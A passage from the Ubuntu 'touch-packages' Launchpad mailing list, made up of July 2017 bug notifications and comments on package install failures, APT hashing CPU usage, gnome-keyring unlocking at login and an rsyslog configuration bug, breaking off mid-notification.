Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1704027] Re: package util-linux 2.27.1-6ubuntu3.3 failed to install/upgrade: package util-linux is not ready for configuration cannot configure (current status 'half-installed')

[Phillip Susi]

** Also affects: dpkg (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to util-linux in Ubuntu.
https://bugs.launchpad.net/bugs/1704027

Title:
  package util-linux 2.27.1-6ubuntu3.3 failed to install/upgrade:
  package util-linux is not ready for configuration  cannot configure
  (current status 'half-installed')

Status in dpkg package in Ubuntu:
  New
Status in util-linux package in Ubuntu:
  New

Bug description:
  1. Ubuntu 16.04.2 LTS

  2. 2.27.1-6ubuntu3.3

  3. Nothing

  4. An error message stating the package could not be installed popped
  up.

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: util-linux 2.27.1-6ubuntu3.3
  ProcVersionSignature: Ubuntu 4.4.0-83.106-generic 4.4.70
  Uname: Linux 4.4.0-83-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.6
  Architecture: amd64
  Date: Thu Jul 13 01:33:20 2017
  DpkgTerminalLog:
   dpkg: error processing package util-linux (--configure):
package util-linux is not ready for configuration
cannot configure (current status 'half-installed')
  ErrorMessage: package util-linux is not ready for configuration  cannot 
configure (current status 'half-installed')
  InstallationDate: Installed on 2017-02-04 (158 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.2
   apt  1.2.20
  SourcePackage: util-linux
  Title: package util-linux 2.27.1-6ubuntu3.3 failed to install/upgrade: 
package util-linux is not ready for configuration  cannot configure (current 
status 'half-installed')
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dpkg/+bug/1704027/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705109] [NEW] package python3-problem-report 2.20.1-0ubuntu2.10 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attemptin

[Ryan Jensen]

*** This bug is a security vulnerability ***

Private security bug reported:

Fixed after reinstalling the software.

ProblemType: Package
DistroRelease: Ubuntu 16.04
Package: python3-problem-report 2.20.1-0ubuntu2.10
ProcVersionSignature: Ubuntu 4.8.0-58.63~16.04.1-generic 4.8.17
Uname: Linux 4.8.0-58-generic x86_64
NonfreeKernelModules: wl
ApportLog:
 
ApportVersion: 2.20.1-0ubuntu2.9
AptOrdering:
 python3-problem-report: Configure
 NULL: ConfigurePending
Architecture: amd64
Date: Tue Jul 18 12:49:39 2017
Dependencies:
 
DpkgTerminalLog:
 dpkg: error processing package python3-problem-report (--configure):
  package is in a very bad inconsistent state; you should
  reinstall it before attempting configuration
ErrorMessage: package is in a very bad inconsistent state; you should  
reinstall it before attempting configuration
InstallationDate: Installed on 2017-07-14 (3 days ago)
InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 
(20170215.2)
PackageArchitecture: all
RelatedPackageVersions:
 dpkg 1.18.4ubuntu1.2
 apt  1.2.20
SourcePackage: apport
Title: package python3-problem-report 2.20.1-0ubuntu2.10 failed to 
install/upgrade: package is in a very bad inconsistent state; you should  
reinstall it before attempting configuration
UpgradeStatus: No upgrade log present (probably fresh install)

** Affects: apport (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-package xenial

** Information type changed from Public to Private Security

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1705109

Title:
  package python3-problem-report 2.20.1-0ubuntu2.10 failed to
  install/upgrade: package is in a very bad inconsistent state; you
  should  reinstall it before attempting configuration

Status in apport package in Ubuntu:
  New

Bug description:
  Fixed after reinstalling the software.

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: python3-problem-report 2.20.1-0ubuntu2.10
  ProcVersionSignature: Ubuntu 4.8.0-58.63~16.04.1-generic 4.8.17
  Uname: Linux 4.8.0-58-generic x86_64
  NonfreeKernelModules: wl
  ApportLog:
   
  ApportVersion: 2.20.1-0ubuntu2.9
  AptOrdering:
   python3-problem-report: Configure
   NULL: ConfigurePending
  Architecture: amd64
  Date: Tue Jul 18 12:49:39 2017
  Dependencies:
   
  DpkgTerminalLog:
   dpkg: error processing package python3-problem-report (--configure):
package is in a very bad inconsistent state; you should
reinstall it before attempting configuration
  ErrorMessage: package is in a very bad inconsistent state; you should  
reinstall it before attempting configuration
  InstallationDate: Installed on 2017-07-14 (3 days ago)
  InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 
(20170215.2)
  PackageArchitecture: all
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.2
   apt  1.2.20
  SourcePackage: apport
  Title: package python3-problem-report 2.20.1-0ubuntu2.10 failed to 
install/upgrade: package is in a very bad inconsistent state; you should  
reinstall it before attempting configuration
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1705109/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705113] [NEW] package libpulse0 (not installed) failed to install/upgrade: tentative de remplacement de « /etc/pulse/client.conf », qui est différent d'autres instances du paque

[Rakotondrasoa Nampoina Andriamalala]

Public bug reported:

i installed LXPanel on my ubuntu and after i don't have sound.

ProblemType: Package
DistroRelease: Ubuntu 16.04
Package: libpulse0 (not installed)
ProcVersionSignature: Ubuntu 4.4.0-83.106-generic 4.4.70
Uname: Linux 4.4.0-83-generic x86_64
ApportVersion: 2.20.1-0ubuntu2.9
Architecture: amd64
AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-path', 
'/dev/snd/hwC0D3', '/dev/snd/hwC0D0', '/dev/snd/pcmC0D3p', '/dev/snd/pcmC0D2p', 
'/dev/snd/pcmC0D1p', '/dev/snd/pcmC0D0c', '/dev/snd/pcmC0D0p', 
'/dev/snd/controlC0', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1:
Date: Tue Jul 18 22:47:50 2017
ErrorMessage: tentative de remplacement de « /etc/pulse/client.conf », qui est 
différent d'autres instances du paquet libpulse0:amd64
InstallationDate: Installed on 2016-02-11 (523 days ago)
InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1)
PulseList: Error: command ['pacmd', 'list'] failed with exit code 127: pacmd: 
error while loading shared libraries: libpulse.so.0: cannot open shared object 
file: No such file or directory
RelatedPackageVersions:
 dpkg 1.18.4ubuntu1.2
 apt  1.2.20
SourcePackage: pulseaudio
Title: package libpulse0 (not installed) failed to install/upgrade: tentative 
de remplacement de « /etc/pulse/client.conf », qui est différent d'autres 
instances du paquet libpulse0:amd64
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 09/07/2012
dmi.bios.vendor: American Megatrends Inc.
dmi.bios.version: 4.6.5
dmi.board.asset.tag: To be filled by O.E.M.
dmi.board.name: H61H2-M2
dmi.board.vendor: ECS
dmi.board.version: 1.0
dmi.chassis.asset.tag: To Be Filled By O.E.M.
dmi.chassis.type: 3
dmi.chassis.vendor: ECS
dmi.chassis.version: 1.0
dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr4.6.5:bd09/07/2012:svnECS:pnH61H2-M2:pvr1.0:rvnECS:rnH61H2-M2:rvr1.0:cvnECS:ct3:cvr1.0:
dmi.product.name: H61H2-M2
dmi.product.version: 1.0
dmi.sys.vendor: ECS
mtime.conffile..etc.pulse.client.conf: 2017-07-18T22:55:04.553785

** Affects: pulseaudio (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-package xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1705113

Title:
  package libpulse0 (not installed) failed to install/upgrade: tentative
  de remplacement de « /etc/pulse/client.conf », qui est différent
  d'autres instances du paquet libpulse0:amd64

Status in pulseaudio package in Ubuntu:
  New

Bug description:
  i installed LXPanel on my ubuntu and after i don't have sound.

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: libpulse0 (not installed)
  ProcVersionSignature: Ubuntu 4.4.0-83.106-generic 4.4.70
  Uname: Linux 4.4.0-83-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.9
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-path', 
'/dev/snd/hwC0D3', '/dev/snd/hwC0D0', '/dev/snd/pcmC0D3p', '/dev/snd/pcmC0D2p', 
'/dev/snd/pcmC0D1p', '/dev/snd/pcmC0D0c', '/dev/snd/pcmC0D0p', 
'/dev/snd/controlC0', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1:
  Date: Tue Jul 18 22:47:50 2017
  ErrorMessage: tentative de remplacement de « /etc/pulse/client.conf », qui 
est différent d'autres instances du paquet libpulse0:amd64
  InstallationDate: Installed on 2016-02-11 (523 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 127: pacmd: 
error while loading shared libraries: libpulse.so.0: cannot open shared object 
file: No such file or directory
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.2
   apt  1.2.20
  SourcePackage: pulseaudio
  Title: package libpulse0 (not installed) failed to install/upgrade: tentative 
de remplacement de « /etc/pulse/client.conf », qui est différent d'autres 
instances du paquet libpulse0:amd64
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/07/2012
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 4.6.5
  dmi.board.asset.tag: To be filled by O.E.M.
  dmi.board.name: H61H2-M2
  dmi.board.vendor: ECS
  dmi.board.version: 1.0
  dmi.chassis.asset.tag: To Be Filled By O.E.M.
  dmi.chassis.type: 3
  dmi.chassis.vendor: ECS
  dmi.chassis.version: 1.0
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr4.6.5:bd09/07/2012:svnECS:pnH61H2-M2:pvr1.0:rvnECS:rnH61H2-M2:rvr1.0:cvnECS:ct3:cvr1.0:
  dmi.product.name: H61H2-M2
  dmi.product.version: 1.0
  dmi.sys.vendor: ECS
  mtime.conffile..etc.pulse.client.conf: 2017-07-18T22:55:04.553785

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1705113/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : 

[Touch-packages] [Bug 1123272] Re: high cpu usage on download (not optimised SHA256, SHA512, SHA1)

[Julian Andres Klode]

Of course you don't have a CPU bottleneck with curl, it does not run 3
or 4 hashes over everything it downloads. APT needs to hash its
downloads to ensure they are secure, and it uses all available hashes to
do so, so if one hash's security is compromised, we can still hopefully
still rely on the others.

And the topic of this bug report is indeed hash CPU usage, and I
compared our CPU usage on a 1 GB test file in a tmpfs to the CPU usage
of OpenSSL and Nettle. So this test operates on a data size 5 times
higher than the usual packages and under optimal conditions to evaluate
how fast we can hash.

The test shows that on a 1 Gbit/s connection you'll likely be throttled
slightly at a comparable CPU (assuming the connection reaches about 800
Mbit/s, that is, 80% efficiency). If you have a data rate of about 500
Mbit/s, you will likely be fine (not counting parallel downloads).

If there are other problems reducing the download speeds, these are
separate bugs. This one covers the overhead of hashing, nothing else.

BTW: The original bug report talks about 20% CPU usage on a 5 year old
CPU, that seems entirely reasonable and not really an issue. If your
bandwidth is high, you'll have higher CPU usage for a shorter time (like
100% for 5 seconds or so).

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1123272

Title:
  high cpu usage on download (not optimised SHA256, SHA512, SHA1)

Status in apt package in Ubuntu:
  Confirmed

Bug description:
  http process takes about 20% on intel i5-3317. Here is output of ps aux:
  root  4309 21.7  0.0  37108  2344 pts/2S+   18:17   0:01 
/usr/lib/apt/methods/http

  it can be easy reproduces with "apt-get download firefox-dbg" or any
  other upgrade realted command.

  The reason of this  overhead are this functions:
  22,34%  http  libapt-pkg.so.4.12.0  [.] SHA256_Transform(_SHA256_CTX*, 
unsigned int const*)
  14,81%  http  libapt-pkg.so.4.12.0  [.] SHA512_Transform(_SHA512_CTX*, 
unsigned long const*)
  8,11%  http  libapt-pkg.so.4.12.0  [.] SHA1Transform(unsigned int*, unsigned 
char const*) 
  5,62%  http  libapt-pkg.so.4.12.0  [.] MD5Transform(unsigned int*, unsigned 
int const*)

  libapt uses own implementation of this hasches without any optimisation.  Are 
there any reason why libapt do not use
  openssl? Beside current version of openssl has AVX optimised SHA* 
implementations.

  ProblemType: Bug
  DistroRelease: Ubuntu 13.04
  Package: apt 0.9.7.7ubuntu1
  ProcVersionSignature: Ubuntu 3.8.0-4.9-generic 3.8.0-rc6
  Uname: Linux 3.8.0-4-generic x86_64
  ApportVersion: 2.8-0ubuntu4
  Architecture: amd64
  Date: Tue Feb 12 18:12:33 2013
  InstallationDate: Installed on 2012-09-13 (152 days ago)
  InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120913.1)
  MarkForUpload: True
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: apt
  UpgradeStatus: Upgraded to raring on 2013-02-06 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1123272/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1689825] Re: gnome-keyring not unlocked on boot

[Gunnar Hjalmarsson]

dbus-user-session is a dependency of the desktop meta packages, so
uninstalling it means that you on Unity uninstall ubuntu-session and
ubuntu-desktop, on GNOME Flashback you uninstall gnome-session-flashback
etc.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1689825

Title:
  gnome-keyring not unlocked on boot

Status in D-Bus:
  New
Status in chromium-browser package in Ubuntu:
  Invalid
Status in flatpak package in Ubuntu:
  Confirmed
Status in gdm package in Ubuntu:
  Confirmed
Status in gnome-keyring package in Ubuntu:
  Confirmed
Status in libgnome-keyring package in Ubuntu:
  Confirmed
Status in lightdm package in Ubuntu:
  Confirmed

Bug description:
  1) Release: 16.04.2
  2) gnome-keyring: 3.18.3-0ubuntu2
  3) Login. gnome-keyring unlocks "login" features including for google chrome
  4) gnome-keyring is not unlocked, chrome takes 2 minutes to open and with no 
secure password features(sync) functioning.

  For the past couple days, chrome on Ubuntu 16.04 takes a REALLY long
  time (maybe 2 minutes) to start. Once chrome is started, I am not able
  to sync and any secure password features are broken. I found out this
  is due to gnome-keyring not being unlocked at login. There's also no
  way to unlock the "login" portion of the keyring from the running
  daemon by default. I have to kill the gnome-keyring process and start
  without "--login" as a parameter. Then the "login" section shows up
  which I'm able to unlock. From there chrome starts up instantly but
  asks the following:

  Enter password to unlock your login keyring
  The login keyring did not get unlocked when you logged into your computer

  After that, all of it's sync and secure features are functional.

  Starting google-chrome-stable from a command line at boot without
  running the above workaround shows the following error messages:

  Gkr-Message: secret service operation failed: Did not receive a reply. 
Possible causes include: the remote application did not send a reply, the 
message bus security policy blocked the reply, the reply timeout expired, or 
the network connection was broken.
  Gkr-Message: secret service operation failed: Did not receive a reply. 
Possible causes include: the remote application did not send a reply, the 
message bus security policy blocked the reply, the reply timeout expired, or 
the network connection was broken.
  [4364:4393:0510/100407.740292:ERROR:token_service_table.cc(130)] Failed to 
decrypt token for service AccountId-108842767310111573264
  [4364:4445:0510/100407.740292:ERROR:gcm_store_impl.cc(929)] Failed to restore 
security token.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: gnome-keyring 3.18.3-0ubuntu2
  ProcVersionSignature: Ubuntu 4.8.0-52.55~16.04.1-generic 4.8.17
  Uname: Linux 4.8.0-52-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.5
  Architecture: amd64
  CurrentDesktop: GNOME-Flashback:Unity
  Date: Wed May 10 09:43:37 2017
  SourcePackage: gnome-keyring
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/dbus/+bug/1689825/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705035] Re: package login 1:4.2-3.2ubuntu1 [modified: bin/login bin/su usr/bin/faillog usr/bin/lastlog usr/bin/newgrp usr/sbin/nologin usr/share/doc/login/changelog.Debian.gz us

[Launchpad Bug Tracker]

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: shadow (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/1705035

Title:
  package login 1:4.2-3.2ubuntu1 [modified: bin/login bin/su
  usr/bin/faillog usr/bin/lastlog usr/bin/newgrp usr/sbin/nologin
  usr/share/doc/login/changelog.Debian.gz
  usr/share/man/da/man1/newgrp.1.gz usr/share/man/da/man1/sg.1.gz
  usr/share/man/da/man8/nologin.8.gz usr/share/man/de/man1/login.1.gz
  usr/share/man/de/man1/newgrp.1.gz usr/share/man/de/man1/sg.1.gz
  usr/share/man/de/man1/su.1.gz usr/share/man/de/man5/faillog.5.gz
  usr/share/man/de/man5/login.defs.5.gz
  usr/share/man/de/man8/faillog.8.gz usr/share/man/de/man8/lastlog.8.gz
  usr/share/man/de/man8/nologin.8.gz usr/share/man/fr/man1/login.1.gz
  usr/share/man/fr/man1/newgrp.1.gz usr/share/man/fr/man1/sg.1.gz
  usr/share/man/fr/man1/su.1.gz usr/share/man/fr/man5/faillog.5.gz
  usr/share/man/fr/man5/login.defs.5.gz
  usr/share/man/fr/man8/faillog.8.gz usr/share/man/fr/man8/lastlog.8.gz
  usr/share/man/fr/man8/nologin.8.gz usr/share/man/it/man1/login.1.gz
  usr/share/man/it/man1/newgrp.1.gz usr/share/man/it/man1/sg.1.gz
  usr/share/man/it/man1/su.1.gz usr/share/man/it/man5/faillog.5.gz
  usr/share/man/it/man5/login.defs.5.gz
  usr/share/man/it/man8/faillog.8.gz usr/share/man/it/man8/lastlog.8.gz
  usr/share/man/it/man8/nologin.8.gz] failed to install/upgrade: package
  login is not ready for configuration  cannot configure (current status
  'half-installed')

Status in shadow package in Ubuntu:
  Confirmed

Bug description:
  problem installing gnome-tweak-tool

  ProblemType: Package
  DistroRelease: Ubuntu 17.04
  ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
  Uname: Linux 4.10.0-19-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4
  Architecture: amd64
  Date: Tue Jul 18 14:54:33 2017
  DpkgTerminalLog:
   dpkg: error processing package login (--configure):
package login is not ready for configuration
cannot configure (current status 'half-installed')
  ErrorMessage: package login is not ready for configuration  cannot configure 
(current status 'half-installed')
  InstallationDate: Installed on 2017-04-27 (82 days ago)
  InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412)
  RelatedPackageVersions:
   dpkg 1.18.10ubuntu2
   apt  1.4
  SourcePackage: shadow
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1705035/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1123272] Re: high cpu usage on download (not optimised SHA256, SHA512, SHA1)

[Travis Johnson]

This seems to be a bit of a bikeshed on specific implementation options.
The problem here is downloads pin the CPU, and in my personal experience
I can download the same files via curl with nothing close to a CPU
bottleneck.

I do not know how you benchmarked APT but this may be a case of a micro
benchmark not properly representing the problem.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1123272

Title:
  high cpu usage on download (not optimised SHA256, SHA512, SHA1)

Status in apt package in Ubuntu:
  Confirmed

Bug description:
  http process takes about 20% on intel i5-3317. Here is output of ps aux:
  root  4309 21.7  0.0  37108  2344 pts/2S+   18:17   0:01 
/usr/lib/apt/methods/http

  it can be easy reproduces with "apt-get download firefox-dbg" or any
  other upgrade realted command.

  The reason of this  overhead are this functions:
  22,34%  http  libapt-pkg.so.4.12.0  [.] SHA256_Transform(_SHA256_CTX*, 
unsigned int const*)
  14,81%  http  libapt-pkg.so.4.12.0  [.] SHA512_Transform(_SHA512_CTX*, 
unsigned long const*)
  8,11%  http  libapt-pkg.so.4.12.0  [.] SHA1Transform(unsigned int*, unsigned 
char const*) 
  5,62%  http  libapt-pkg.so.4.12.0  [.] MD5Transform(unsigned int*, unsigned 
int const*)

  libapt uses own implementation of this hasches without any optimisation.  Are 
there any reason why libapt do not use
  openssl? Beside current version of openssl has AVX optimised SHA* 
implementations.

  ProblemType: Bug
  DistroRelease: Ubuntu 13.04
  Package: apt 0.9.7.7ubuntu1
  ProcVersionSignature: Ubuntu 3.8.0-4.9-generic 3.8.0-rc6
  Uname: Linux 3.8.0-4-generic x86_64
  ApportVersion: 2.8-0ubuntu4
  Architecture: amd64
  Date: Tue Feb 12 18:12:33 2013
  InstallationDate: Installed on 2012-09-13 (152 days ago)
  InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120913.1)
  MarkForUpload: True
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: apt
  UpgradeStatus: Upgraded to raring on 2013-02-06 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1123272/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1703987] Re: New style permitnonkernelfacility imklog option inside module() doesn't work

[Andreas Hasenack]

** Changed in: rsyslog (Ubuntu)
 Assignee: (unassigned) => Andreas Hasenack (ahasenack)

** Changed in: rsyslog (Ubuntu)
   Status: Triaged => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rsyslog in Ubuntu.
https://bugs.launchpad.net/bugs/1703987

Title:
  New style permitnonkernelfacility imklog option inside module()
  doesn't work

Status in Rsyslog:
  Unknown
Status in rsyslog package in Ubuntu:
  In Progress

Bug description:
  artful 8.16.0-1ubuntu5 (which is way behind upstream and debian, btw)

  There are two ways to load the imklog module and pass it an option
  (PermitNonKernelFacility in this case).

  a) legacy
  $ModLoad imklog
  $KLogPermitNonKernelFacility on

  
  b) "new style", also referred to as "v6+":
  module(load="imklog" permitnonkernelfacility="on")

  For a while the ubuntu package was using a mix: loading the module
  with the new style, but setting the option via the legacy method. In
  bug #1531622 this was fixed for yakkety+.

  Problem is, upstream isn't honouring the new style option setting due
  to a bug of its own: https://github.com/rsyslog/rsyslog/issues/477

  With the legacy config:
  #module(load="imklog" permitnonkernelfacility="on")
  $ModLoad imklog
  $KLogPermitNonKernelFacility on

  I get kernel messages in /var/log/syslog:
  root@nsn7:~# grep andreas-was-here /var/log/syslog
  root@nsn7:~# echo andreas-was-here > /dev/kmsg
  root@nsn7:~# grep andreas-was-here /var/log/syslog
  Jul 12 16:46:33 nsn7 kernel: [27774.476193] andreas-was-here
  root@nsn7:~#

  But with this new v6 config style:
  module(load="imklog" permitnonkernelfacility="on") # provides kernel logging 
support
  #$ModLoad imklog
  #$KLogPermitNonKernelFacility on

  The text doesn't show up in /var/log/syslog. That's the upstream bug.

To manage notifications about this bug go to:
https://bugs.launchpad.net/rsyslog/+bug/1703987/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1689825] Re: gnome-keyring not unlocked on boot

[jose]

I've not tried it yet, but I'm sure that uninstalling dbus-user-session
works as a workaround. what concerns me is what consequences will this
have. I checked 16.10 and 17.04 and both have dbus-user-session
installed by default. When I install chrome I don't seem to get the same
issues. I haven't installed flatpak to see if that recreates the problem
on 17. So how does removing dbus-user-session solve this problem?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1689825

Title:
  gnome-keyring not unlocked on boot

Status in D-Bus:
  New
Status in chromium-browser package in Ubuntu:
  Invalid
Status in flatpak package in Ubuntu:
  Confirmed
Status in gdm package in Ubuntu:
  Confirmed
Status in gnome-keyring package in Ubuntu:
  Confirmed
Status in libgnome-keyring package in Ubuntu:
  Confirmed
Status in lightdm package in Ubuntu:
  Confirmed

Bug description:
  1) Release: 16.04.2
  2) gnome-keyring: 3.18.3-0ubuntu2
  3) Login. gnome-keyring unlocks "login" features including for google chrome
  4) gnome-keyring is not unlocked, chrome takes 2 minutes to open and with no 
secure password features(sync) functioning.

  For the past couple days, chrome on Ubuntu 16.04 takes a REALLY long
  time (maybe 2 minutes) to start. Once chrome is started, I am not able
  to sync and any secure password features are broken. I found out this
  is due to gnome-keyring not being unlocked at login. There's also no
  way to unlock the "login" portion of the keyring from the running
  daemon by default. I have to kill the gnome-keyring process and start
  without "--login" as a parameter. Then the "login" section shows up
  which I'm able to unlock. From there chrome starts up instantly but
  asks the following:

  Enter password to unlock your login keyring
  The login keyring did not get unlocked when you logged into your computer

  After that, all of it's sync and secure features are functional.

  Starting google-chrome-stable from a command line at boot without
  running the above workaround shows the following error messages:

  Gkr-Message: secret service operation failed: Did not receive a reply. 
Possible causes include: the remote application did not send a reply, the 
message bus security policy blocked the reply, the reply timeout expired, or 
the network connection was broken.
  Gkr-Message: secret service operation failed: Did not receive a reply. 
Possible causes include: the remote application did not send a reply, the 
message bus security policy blocked the reply, the reply timeout expired, or 
the network connection was broken.
  [4364:4393:0510/100407.740292:ERROR:token_service_table.cc(130)] Failed to 
decrypt token for service AccountId-108842767310111573264
  [4364:4445:0510/100407.740292:ERROR:gcm_store_impl.cc(929)] Failed to restore 
security token.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: gnome-keyring 3.18.3-0ubuntu2
  ProcVersionSignature: Ubuntu 4.8.0-52.55~16.04.1-generic 4.8.17
  Uname: Linux 4.8.0-52-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.5
  Architecture: amd64
  CurrentDesktop: GNOME-Flashback:Unity
  Date: Wed May 10 09:43:37 2017
  SourcePackage: gnome-keyring
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/dbus/+bug/1689825/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1675515] Re: old KLogPermitNonKernel directive error in rsyslog.conf

[Launchpad Bug Tracker]

*** This bug is a duplicate of bug 1531622 ***
https://bugs.launchpad.net/bugs/1531622

** Merge proposal linked:
   
https://code.launchpad.net/~ahasenack/ubuntu/+source/rsyslog/+git/rsyslog/+merge/327650

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rsyslog in Ubuntu.
https://bugs.launchpad.net/bugs/1675515

Title:
  old KLogPermitNonKernel directive error in rsyslog.conf

Status in Rsyslog:
  Unknown
Status in rsyslog package in Ubuntu:
  Confirmed

Bug description:
  The rsyslog.conf provided in Xenial contains an error that is logged
  by rsyslog at startup with the short name. rsyslog ignores a
  '$PreserveFQDN on' when logging this error. This is an issue when
  using a log aggregation facility such as Splunk. A fix is to correct
  the error in the provided rsyslog.conf.

To manage notifications about this bug go to:
https://bugs.launchpad.net/rsyslog/+bug/1675515/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705035] Re: package login 1:4.2-3.2ubuntu1 [modified: bin/login bin/su usr/bin/faillog usr/bin/lastlog usr/bin/newgrp usr/sbin/nologin usr/share/doc/login/changelog.Debian.gz us

[Seth Arnold]

This may be a duplicate of bug 1692981. Thanks.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/1705035

Title:
  package login 1:4.2-3.2ubuntu1 [modified: bin/login bin/su
  usr/bin/faillog usr/bin/lastlog usr/bin/newgrp usr/sbin/nologin
  usr/share/doc/login/changelog.Debian.gz
